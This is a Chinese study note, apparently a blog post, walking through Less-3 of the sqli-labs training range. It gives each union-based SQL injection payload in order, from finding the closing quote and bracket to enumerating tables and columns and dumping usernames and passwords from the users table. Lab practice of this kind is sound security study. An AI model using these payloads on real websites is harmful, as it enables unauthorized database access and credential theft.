sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
zsyf198721 小时前
MySQL如何执行.sql 文件:详细教学指南
数据库·mysql
程序员敲代码吗21 小时前
提升Redis性能的关键:深入探讨主从复制
数据库·redis·github
程序员酥皮蛋21 小时前
Redis 零基础入门本地实现数据增删
数据库·redis·缓存
强子感冒了1 天前
JavaScript 零基础入门笔记:核心概念与语法详解
开发语言·javascript·笔记
马猴烧酒.1 天前
【面试八股|RabbitMQ】RabbitMQ常见面试题详解笔记
笔记·面试·rabbitmq
gjc5921 天前
实战排坑:Oracle ORA-03206 报错,表空间文件加不进去怎么办?
数据库·oracle
人道领域1 天前
Maven配置加载:动态替换的艺术
java·数据库·后端
70asunflower1 天前
软件开发全景指南:从概念构思到生产部署
数据库·oracle·教程
山峰哥1 天前
SQL调优实战:从索引失效到性能飙升的破局之道
服务器·数据库·sql·性能优化·编辑器·深度优先
玩具猴_wjh1 天前
JWT优化方案
java·服务器·数据库